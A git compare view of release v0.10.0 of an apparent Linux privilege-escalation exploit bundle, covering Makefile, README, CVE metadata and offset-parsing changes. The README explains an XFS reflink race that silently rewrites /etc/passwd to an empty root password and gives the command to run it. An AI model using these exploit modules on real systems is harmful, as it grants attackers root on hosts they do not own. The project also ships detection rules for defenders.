Compare commits
23 Commits
d466fbfdcb
...
v0.10.0
| Author | SHA1 | Date | |
|---|---|---|---|
| e3aa70f208 | |||
| 56f9e4d0dc | |||
| af01d112a5 | |||
| 73c7d09445 | |||
| 65588599ff | |||
| 68dac6c063 | |||
| 678a37b2f5 | |||
| 82ba6e0d08 | |||
| 635f7d2d24 | |||
| 1bdbe011b0 | |||
| cd9bea6399 | |||
| 6960d2076d | |||
| 70972e0c9d | |||
| 6edf78f765 | |||
| 3edad37184 | |||
| 58b44ebc43 | |||
| e01aa99ec6 | |||
| 8c45b2beb8 | |||
| 59cc2be065 | |||
| 24b839eccf | |||
| c55adc1840 | |||
| 5c18b678a5 | |||
| e46a32f11e |
@@ -107,11 +107,32 @@ CRA_DIR := modules/cgroup_release_agent_cve_2022_0492
|
|||||||
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
CRA_SRCS := $(CRA_DIR)/skeletonkey_modules.c
|
||||||
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
CRA_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CRA_SRCS))
|
||||||
|
|
||||||
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family
|
# Family: overlayfs_setuid (CVE-2023-0386) — joins overlayfs family.
|
||||||
|
# The exploit needs a FUSE filesystem to export a setuid-root lower layer;
|
||||||
|
# autodetected via `pkg-config fuse3` (or fuse2). When absent, the module
|
||||||
|
# compiles as a stub that returns PRECOND_FAIL with a hint to install the
|
||||||
|
# libfuse3-dev (or libfuse-dev) package and rebuild.
|
||||||
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
OSU_DIR := modules/overlayfs_setuid_cve_2023_0386
|
||||||
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
OSU_SRCS := $(OSU_DIR)/skeletonkey_modules.c
|
||||||
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
OSU_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(OSU_SRCS))
|
||||||
|
|
||||||
|
# Prefer fuse2 — the public CVE-2023-0386 PoC uses it, and overlay copy-up's
|
||||||
|
# splice path works cleanly through libfuse2's read_buf; libfuse3's read_buf
|
||||||
|
# path returns ENOSYS at copy-up on the kernels tested. Fall back to fuse3.
|
||||||
|
OSU_FUSE2_OK := $(shell pkg-config --exists fuse 2>/dev/null && echo 1 || echo 0)
|
||||||
|
OSU_FUSE3_OK := $(shell pkg-config --exists fuse3 2>/dev/null && echo 1 || echo 0)
|
||||||
|
ifeq ($(OSU_FUSE2_OK),1)
|
||||||
|
OSU_CFLAGS := $(shell pkg-config --cflags fuse) -DOVLSU_HAVE_FUSE
|
||||||
|
OSU_LIBS := $(shell pkg-config --libs fuse)
|
||||||
|
else ifeq ($(OSU_FUSE3_OK),1)
|
||||||
|
OSU_CFLAGS := $(shell pkg-config --cflags fuse3) -DOVLSU_HAVE_FUSE -DOVLSU_FUSE3
|
||||||
|
OSU_LIBS := $(shell pkg-config --libs fuse3)
|
||||||
|
else
|
||||||
|
OSU_CFLAGS :=
|
||||||
|
OSU_LIBS :=
|
||||||
|
endif
|
||||||
|
$(OSU_OBJS): CFLAGS += $(OSU_CFLAGS)
|
||||||
|
|
||||||
# Family: nft_set_uaf (CVE-2023-32233)
|
# Family: nft_set_uaf (CVE-2023-32233)
|
||||||
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
NSU_DIR := modules/nft_set_uaf_cve_2023_32233
|
||||||
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
NSU_SRCS := $(NSU_DIR)/skeletonkey_modules.c
|
||||||
@@ -252,6 +273,11 @@ GHL_DIR := modules/ghostlock_cve_2026_43499
|
|||||||
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
|
GHL_SRCS := $(GHL_DIR)/skeletonkey_modules.c
|
||||||
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
|
GHL_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(GHL_SRCS))
|
||||||
|
|
||||||
|
# CVE-2026-64600 refluxfs — XFS reflink CoW ILOCK-cycling TOCTOU race ("RefluXFS", Qualys TRU)
|
||||||
|
RFX_DIR := modules/refluxfs_cve_2026_64600
|
||||||
|
RFX_SRCS := $(RFX_DIR)/skeletonkey_modules.c
|
||||||
|
RFX_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(RFX_SRCS))
|
||||||
|
|
||||||
# Top-level dispatcher
|
# Top-level dispatcher
|
||||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||||
|
|
||||||
@@ -266,7 +292,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
|||||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||||
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
|
$(PPF_OBJS) $(SUH_OBJS) $(CIW_OBJS) $(NCA_OBJS) $(BEP_OBJS) \
|
||||||
$(GHL_OBJS)
|
$(GHL_OBJS) $(RFX_OBJS)
|
||||||
|
|
||||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||||
|
|
||||||
@@ -294,10 +320,10 @@ TEST_KR_ALL_OBJS := $(TEST_KR_OBJS) $(CORE_OBJS)
|
|||||||
all: $(BIN)
|
all: $(BIN)
|
||||||
|
|
||||||
$(BIN): $(ALL_OBJS)
|
$(BIN): $(ALL_OBJS)
|
||||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
|
||||||
|
|
||||||
$(TEST_BIN): $(TEST_ALL_OBJS)
|
$(TEST_BIN): $(TEST_ALL_OBJS)
|
||||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS)
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^ -lpthread $(P2TR_LIBS) $(OSU_LIBS)
|
||||||
|
|
||||||
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
$(TEST_KR_BIN): $(TEST_KR_ALL_OBJS)
|
||||||
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
$(CC) $(CFLAGS) $(LDFLAGS) -o $@ $^
|
||||||
|
|||||||
@@ -2,13 +2,15 @@
|
|||||||
|
|
||||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||||
[](LICENSE)
|
[](LICENSE)
|
||||||
[](docs/VERIFICATIONS.jsonl)
|
[](docs/VERIFICATIONS.jsonl)
|
||||||
|
[](docs/EXPLOITED.md)
|
||||||
[](#)
|
[](#)
|
||||||
|
|
||||||
> **One curated binary. 45 Linux LPE modules covering 40 CVEs from 2016 → 2026.
|
> **One curated binary. 46 Linux LPE modules covering 41 CVEs from 2016 → 2026.
|
||||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
> Every year 2016 → 2026 covered. 31 of the 41 CVEs confirmed against real Linux
|
||||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
> VMs via `tools/verify-vm/` — and **11 modules confirmed landing `uid=0`
|
||||||
> the safest one and runs it.**
|
> out-of-band** (an independent root proof, never self-report). Detection rules
|
||||||
|
> in the box. One command picks the safest one and runs it.**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
|
||||||
@@ -45,60 +47,75 @@ for every CVE in the bundle — same project for red and blue teams.
|
|||||||
|
|
||||||
## Corpus at a glance
|
## Corpus at a glance
|
||||||
|
|
||||||
**45 modules covering 40 distinct CVEs** across the 2016 → 2026 LPE
|
**46 modules covering 41 distinct CVEs** across the 2016 → 2026 LPE
|
||||||
timeline. **28 of the 40 CVEs have been empirically verified** in real
|
timeline. **31 of the 41 CVEs have been empirically verified** in real
|
||||||
Linux VMs via `tools/verify-vm/`; the 12 still-pending entries are
|
Linux VMs via `tools/verify-vm/`; the 10 still-pending entries are
|
||||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||||
VM sweep, not by missing code.
|
VM sweep, not by missing code.
|
||||||
|
|
||||||
|
**Verified end-to-end (uid=0):** beyond confirming each `detect()` verdict,
|
||||||
|
**11 modules have been run to a real root shell in a VM and witnessed
|
||||||
|
out-of-band** — a root-owned artifact, an `/etc/shadow` read, or a setuid-bash
|
||||||
|
sentinel, never the module's own self-report. The full ledger (targets, method,
|
||||||
|
and the four false-`EXPLOIT_OK` bugs this surfaced and fixed) is in
|
||||||
|
[`docs/EXPLOITED.md`](docs/EXPLOITED.md).
|
||||||
|
|
||||||
| Tier | Count | What it means |
|
| Tier | Count | What it means |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| 🟢 Full chain | **14** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
| 🟢 Full chain | **16** | Lands root (or its canonical capability) end-to-end. No per-kernel offsets needed. |
|
||||||
| 🟡 Primitive | **14** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
| 🟡 Primitive | **13** | Fires the kernel primitive + grooms the slab + records a witness. Default returns `EXPLOIT_FAIL` honestly. Pass `--full-chain` to engage the shared `modprobe_path` finisher (needs offsets — see [`docs/OFFSETS.md`](docs/OFFSETS.md)). |
|
||||||
|
|
||||||
**🟢 Modules that land root on a vulnerable host:**
|
**🟢 Modules that land root on a vulnerable host:**
|
||||||
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
copy_fail family ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs
|
||||||
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
(CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) ·
|
||||||
cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed
|
cgroup_release_agent · ptrace_traceme · sudoedit_editor ·
|
||||||
(KASLR leak primitive)
|
sudo_samedit (CVE-2021-3156, Baron Samedit) · entrybleed
|
||||||
|
(KASLR leak primitive) · refluxfs (CVE-2026-64600, `--full-chain`:
|
||||||
|
`/etc/passwd` root pop on a private-extent XFS target)
|
||||||
|
|
||||||
**🟡 Modules with opt-in `--full-chain`:**
|
**🟡 Modules with opt-in `--full-chain`:**
|
||||||
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
||||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
netfilter_xtcompat · stackrot · sequoia · vmwgfx
|
||||||
|
|
||||||
### Empirical verification (28 of 40 CVEs)
|
### Empirical verification (31 of 41 CVEs)
|
||||||
|
|
||||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||||
each verdict against a known-target VM. Coverage:
|
each verdict against a known-target VM; **bold** modules were additionally run
|
||||||
|
to a real root shell and witnessed out-of-band (see [`docs/EXPLOITED.md`](docs/EXPLOITED.md)).
|
||||||
|
Coverage:
|
||||||
|
|
||||||
| Distro / kernel | Modules verified |
|
| Distro / kernel | Modules verified |
|
||||||
|---|---|
|
|---|---|
|
||||||
| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · ptrace_traceme · sudo_samedit · sudo_runas_neg1 |
|
| Ubuntu 18.04 (4.15.0, sudo 1.8.21p2) | af_packet · **ptrace_traceme** · **sudo_samedit** · **sudo_runas_neg1** |
|
||||||
| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · overlayfs · pwnkit · sequoia · tioscpgrp |
|
| Ubuntu 20.04 (5.4.0-26 pinned + 5.15 HWE) | af_packet2 · cls_route4 · nft_payload · **overlayfs** · **pwnkit** · sequoia · tioscpgrp |
|
||||||
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirty_pipe · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · overlayfs_setuid · stackrot · sudoedit_editor · sudo_chwoot |
|
| Ubuntu 22.04 (5.15 stock + mainline 5.15.5 / 6.1.10 / 6.19.7) | af_unix_gc · dirtydecrypt · entrybleed · nf_tables · nft_set_uaf · nft_pipapo · **overlayfs_setuid** · stackrot · **sudoedit_editor** · sudo_chwoot · **sudo_host** |
|
||||||
|
| mainline (dirty_pipe on 5.16.0, dirty_cow on 4.8.0) | **dirty_pipe** · **dirty_cow** |
|
||||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||||
|
| Rocky Linux 9.8 (5.14.0-687.10.1.el9_8.0.1, stock XFS + `reflink=1`) | **refluxfs** |
|
||||||
|
|
||||||
**Not yet verified (12):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
**Not yet verified (10):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||||
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
box), `mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||||
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
|
||||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||||
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
||||||
2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
|
2026-05 Qualys disclosure — added this cycle, VM sweep pending),
|
||||||
(brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
|
`cifswitch` (detect + `add_key` primitive VM-verified; full chain
|
||||||
pending), `cifswitch` (detect + `add_key` primitive VM-verified; full chain
|
|
||||||
+ patched-kernel discriminator pending), `nft_catchall` (reconstructed
|
+ patched-kernel discriminator pending), `nft_catchall` (reconstructed
|
||||||
kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll
|
kernel-UAF trigger, not VM-verified), `bad_epoll` (reconstructed epoll
|
||||||
race trigger — deliberately under-driven, not VM-verified), `ghostlock`
|
race trigger — deliberately under-driven, not VM-verified), `ghostlock`
|
||||||
(reconstructed rtmutex/futex-PI stack-UAF trigger — deliberately
|
(reconstructed rtmutex/futex-PI stack-UAF trigger — deliberately
|
||||||
under-driven, not VM-verified). All twelve are
|
under-driven, not VM-verified). All ten are
|
||||||
flagged in
|
flagged in
|
||||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
|
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
|
||||||
|
|
||||||
|
(`dirty_cow` and `sudo_host` were on this list last release; both are now
|
||||||
|
VM-verified — `dirty_cow` run to root on a provisioned mainline 4.8.0 kernel,
|
||||||
|
`sudo_host` on Ubuntu 22.04 with a host-scoped sudoers rule.)
|
||||||
|
|
||||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||||
detection status. Run `skeletonkey --module-info <name>` for the
|
detection status. Run `skeletonkey --module-info <name>` for the
|
||||||
embedded verification records per module.
|
embedded verification records per module.
|
||||||
@@ -212,8 +229,38 @@ also compile (modules with Linux-only headers stub out gracefully).
|
|||||||
|
|
||||||
## Status
|
## Status
|
||||||
|
|
||||||
**v0.9.13 cut 2026-07-13.** 45 modules across 40 CVEs — **every
|
**v0.10.0 cut 2026-07-24 — the exploit-verification release.** The corpus
|
||||||
year 2016 → 2026 now covered**. Newest: `ghostlock` (CVE-2026-43499,
|
moved from *detect*-verified to **out-of-band exploit-verified**: **11 modules
|
||||||
|
now confirmed landing `uid=0` in a VM**, each witnessed independently (a
|
||||||
|
root-owned artifact / `/etc/shadow` read / setuid-bash sentinel) rather than
|
||||||
|
self-reported. Along the way, **four modules that falsely reported `EXPLOIT_OK`
|
||||||
|
without ever getting root were fixed** (`pwnkit`, `ptrace_traceme`, `dirty_pipe`,
|
||||||
|
`dirty_cow`), and a full false-`EXPLOIT_OK` audit was closed — every success
|
||||||
|
claim is now backed by a real out-of-band check. See `docs/EXPLOITED.md`.
|
||||||
|
46 modules across 41 CVEs — **every year 2016 → 2026 now covered**. Newest
|
||||||
|
module: `refluxfs` (CVE-2026-64600,
|
||||||
|
Qualys TRU's "RefluXFS" — a nine-year TOCTOU race in the XFS **reflink
|
||||||
|
copy-on-write** path: `xfs_reflink_fill_cow_hole()` drops `ILOCK` to wait
|
||||||
|
for transaction log space, then re-checks the refcount btree at a
|
||||||
|
**stale** physical block without re-reading the data fork, so a
|
||||||
|
direct-I/O writer treats a still-shared block as private and writes to it
|
||||||
|
in place. The primitive is an arbitrary overwrite of the **on-disk
|
||||||
|
contents of any readable file** — data, not memory corruption — so there
|
||||||
|
are **no offsets, no ROP, no KASLR/SMEP/SMAP** to defeat, and SELinux
|
||||||
|
enforcing, containers and seccomp are all irrelevant. Because the
|
||||||
|
victim's inode is never written, its `mtime`/`ctime`/size never change
|
||||||
|
and **file-integrity monitoring cannot see it**. Unprivileged, no userns,
|
||||||
|
no crafted image — reachable wherever an XFS volume is mounted
|
||||||
|
`reflink=1`, the installer default on RHEL/CentOS/Rocky/Alma/Oracle 8-10,
|
||||||
|
Fedora Server ≥ 31 and Amazon Linux 2023. **🟢 VM-verified full chain**:
|
||||||
|
`--exploit refluxfs --i-know --full-chain` reflink-clones `/etc/passwd`,
|
||||||
|
races the CoW window, strips root's password on-disk and returns
|
||||||
|
`EXPLOIT_OK` (`su root`, empty password → uid 0) — confirmed on Rocky 9.8,
|
||||||
|
every other account preserved, backed up + restorable. One caveat found
|
||||||
|
in testing: the target's extent must be **private** going in (an
|
||||||
|
already-shared file isn't attackable; normal `useradd`/`passwd` churn
|
||||||
|
makes it private). Plain `--exploit` runs only a safe own-files trigger),
|
||||||
|
`ghostlock` (CVE-2026-43499,
|
||||||
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
VEGA / Nebula Security's "GhostLock" — a ~15-year rtmutex/futex requeue-PI
|
||||||
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
use-after-free on **kernel stack** memory where `remove_waiter()` clears
|
||||||
`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
|
`pi_blocked_on` on the wrong task during the `-EDEADLK` deadlock-rollback,
|
||||||
@@ -237,40 +284,44 @@ v0.9.0 added 5 gap-fillers
|
|||||||
the verified count from 22 → 28 by booting real vulnerable kernels
|
the verified count from 22 → 28 by booting real vulnerable kernels
|
||||||
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
(Ubuntu mainline 5.4.0-26, 5.15.5, 6.19.7 + provisioner-built sudo
|
||||||
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
1.9.16p1 + Debian 12 + polkit allow rule for udisks).
|
||||||
**28 empirically verified** against real Linux VMs (Ubuntu 18.04 /
|
**v0.10.0 is the exploit-verification release**: **31 empirically verified**
|
||||||
20.04 / 22.04 + Debian 11 / 12 + mainline kernels from
|
against real Linux VMs (Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12 + Rocky
|
||||||
kernel.ubuntu.com). 88-test unit harness + ASan/UBSan + clang-tidy on
|
Linux 9.8 + mainline kernels from kernel.ubuntu.com), and **11 modules run to a
|
||||||
every push. 4 prebuilt binaries (x86_64 + arm64, each in dynamic +
|
real root shell and witnessed out-of-band** — which also surfaced and fixed
|
||||||
static-musl flavors).
|
four modules that had been falsely reporting `EXPLOIT_OK` without ever getting
|
||||||
|
root (see [`docs/EXPLOITED.md`](docs/EXPLOITED.md)). 148-test unit harness +
|
||||||
|
ASan/UBSan + clang-tidy on every push. 4 prebuilt binaries (x86_64 + arm64,
|
||||||
|
each in dynamic + static-musl flavors).
|
||||||
|
|
||||||
Reliability + accuracy work in v0.7.x:
|
Reliability + accuracy work in v0.7.x:
|
||||||
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
- Shared **host fingerprint** (`core/host.{h,c}`) populated once at
|
||||||
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
startup — kernel/distro/userns gates/sudo+polkit versions — exposed
|
||||||
to every module via `ctx->host`.
|
to every module via `ctx->host`.
|
||||||
- **Test harness** (`tests/`, `make test`) — 88 tests: 33 kernel_range
|
- **Test harness** (`tests/`, `make test`) — 148 tests: 33 kernel_range
|
||||||
unit tests + 55 detect() integration tests over mocked host
|
unit tests + 115 detect() integration tests over mocked host
|
||||||
fingerprints. Runs in CI on every push.
|
fingerprints. Runs in CI on every push.
|
||||||
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
- **VM verifier** (`tools/verify-vm/`) — Vagrant + Parallels scaffold
|
||||||
that boots known-vulnerable kernels (stock distro + mainline via
|
that boots known-vulnerable kernels (stock distro + mainline via
|
||||||
kernel.ubuntu.com), runs `--explain --active` per module, records
|
kernel.ubuntu.com), runs `--explain --active` per module, records
|
||||||
match/MISMATCH/PRECOND_FAIL as JSON. 28 modules confirmed end-to-end.
|
match/MISMATCH/PRECOND_FAIL as JSON. 31 of 41 CVEs confirmed; **11
|
||||||
|
modules additionally run to a real root shell and witnessed out-of-band**
|
||||||
|
(`docs/EXPLOITED.md`).
|
||||||
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
- **`--explain <module>`** — single-page operator briefing: CVE / CWE
|
||||||
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
/ MITRE ATT&CK / CISA KEV status, host fingerprint, live detect()
|
||||||
trace, OPSEC footprint, detection-rule coverage, verified-on
|
trace, OPSEC footprint, detection-rule coverage, verified-on
|
||||||
records. Paste-into-ticket ready.
|
records. Paste-into-ticket ready.
|
||||||
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
- **CVE metadata pipeline** (`tools/refresh-cve-metadata.py`) — fetches
|
||||||
CISA KEV catalog + NVD CWE; 13 of 40 modules cover KEV-listed CVEs.
|
CISA KEV catalog + NVD CWE; 13 of 41 modules cover KEV-listed CVEs.
|
||||||
- **151 detection rules** across auditd / sigma / yara / falco; one
|
- **151 detection rules** across auditd / sigma / yara / falco; one
|
||||||
command exports the corpus to your SIEM.
|
command exports the corpus to your SIEM.
|
||||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||||
|
|
||||||
Not yet verified (12 of 40 CVEs): `vmwgfx` (VMware-guest only),
|
Not yet verified (10 of 41 CVEs): `vmwgfx` (VMware-guest only),
|
||||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
`mutagen_astronomy` (mainline 4.14.70 panics on Ubuntu 18.04 rootfs —
|
||||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
needs CentOS 6 / Debian 7), `pintheft` + `vsock_uaf` (kernel modules not
|
||||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
autoloaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs
|
||||||
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
need t64-transition libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd`
|
||||||
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
|
|
||||||
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
|
+ `cifswitch` (cifswitch detect + primitive VM-verified; full chain
|
||||||
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
|
pending) + `nft_catchall` (reconstructed kernel-UAF trigger, not
|
||||||
VM-verified) + `bad_epoll` (reconstructed epoll race trigger,
|
VM-verified) + `bad_epoll` (reconstructed epoll race trigger,
|
||||||
@@ -278,6 +329,7 @@ deliberately under-driven, not VM-verified) + `ghostlock` (reconstructed
|
|||||||
rtmutex/futex-PI stack-UAF trigger, deliberately under-driven, not
|
rtmutex/futex-PI stack-UAF trigger, deliberately under-driven, not
|
||||||
VM-verified). Rationale in
|
VM-verified). Rationale in
|
||||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||||
|
(`dirty_cow` and `sudo_host` graduated to VM-verified this release.)
|
||||||
|
|
||||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||||
infrastructure work.
|
infrastructure work.
|
||||||
|
|||||||
@@ -332,6 +332,19 @@ const struct cve_metadata cve_metadata_table[] = {
|
|||||||
.in_kev = false,
|
.in_kev = false,
|
||||||
.kev_date_added = "",
|
.kev_date_added = "",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
/* NVD had published no CWE for this CVE at time of writing
|
||||||
|
* (disclosed 2026-07-22); SKELETONKEY's own reading is CWE-362
|
||||||
|
* (race) yielding CWE-367 (TOCTOU) — see the module MODULE.md.
|
||||||
|
* This field mirrors NVD, so it stays NULL until NVD classifies
|
||||||
|
* it and the refresh script fills it in. */
|
||||||
|
.cve = "CVE-2026-64600",
|
||||||
|
.cwe = NULL,
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
const size_t cve_metadata_table_len =
|
const size_t cve_metadata_table_len =
|
||||||
|
|||||||
+13
-3
@@ -212,10 +212,20 @@ static int parse_symfile(const char *path,
|
|||||||
fclose(f);
|
fclose(f);
|
||||||
|
|
||||||
/* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat
|
/* /proc/kallsyms returns all-zero addrs under kptr_restrict — treat
|
||||||
* that as "couldn't read", not "actually zero". */
|
* that as "couldn't read", not "actually zero". Undo ONLY the bogus
|
||||||
|
* KALLSYMS source tags this pass may have set on still-zero fields —
|
||||||
|
* do NOT clobber values a higher-priority source (env vars) already
|
||||||
|
* provided, or the env override is silently wiped on any kptr_restrict
|
||||||
|
* host (which is every default host). */
|
||||||
if (!saw_nonzero) {
|
if (!saw_nonzero) {
|
||||||
o->modprobe_path = o->poweroff_cmd = o->init_task = o->init_cred = 0;
|
if (o->source_modprobe == OFFSETS_FROM_KALLSYMS) {
|
||||||
o->source_modprobe = o->source_init_task = OFFSETS_NONE;
|
o->modprobe_path = 0;
|
||||||
|
o->source_modprobe = OFFSETS_NONE;
|
||||||
|
}
|
||||||
|
if (o->source_init_task == OFFSETS_FROM_KALLSYMS) {
|
||||||
|
o->init_task = 0;
|
||||||
|
o->source_init_task = OFFSETS_NONE;
|
||||||
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
return filled;
|
return filled;
|
||||||
|
|||||||
@@ -61,6 +61,7 @@ void skeletonkey_register_cifswitch(void);
|
|||||||
void skeletonkey_register_nft_catchall(void);
|
void skeletonkey_register_nft_catchall(void);
|
||||||
void skeletonkey_register_bad_epoll(void);
|
void skeletonkey_register_bad_epoll(void);
|
||||||
void skeletonkey_register_ghostlock(void);
|
void skeletonkey_register_ghostlock(void);
|
||||||
|
